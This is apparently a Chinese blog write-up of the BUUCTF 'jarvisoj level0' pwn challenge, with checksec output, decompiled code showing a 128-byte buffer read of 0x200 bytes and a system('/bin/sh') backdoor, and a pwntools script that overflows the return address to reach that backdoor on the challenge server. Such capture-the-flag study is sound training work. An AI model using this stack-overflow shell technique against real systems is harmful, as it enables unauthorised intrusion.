jarvisoj level0

# jarvisoj level0

# 前提

# 查看文件保护

root@localhost ~# checksec level0
[*] '/root/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

1
2
3
4
5
6
7

# 静态分析

主函数输出了一句Hello, World，接着调用vulnerable_function函数，该函数如下

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

1
2
3
4
5
6

查找函数表发现后门函数callsystem

int callsystem()
{
  return system("/bin/sh");
}

1
2
3
4

# 思路分析

目前信息
- 栈上变量buf处可写入0x200字节数据
- buf距离返回地址的偏移为0x80+8
思路
- 可写入字节数已经大于偏移量，可直接进行栈溢出将返回地址修改为后门函数的地址

# exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/jarvisoj_level0/level0'
# io = process(pwnfile)
io = remote('node4.buuoj.cn', 27710)
padding = 0x80+8
backdoor = 0x40059A
io.recv()
payload = flat(['a'*padding, backdoor])
io.sendline(payload)
io.interactive()

1
2
3
4
5
6
7
8
9
10
11

#buuctf #pwn #StackOverflow

上次更新: 2022/08/15, 00:29:49

← pwn1 sctf 2016 ciscn 2019 c 1→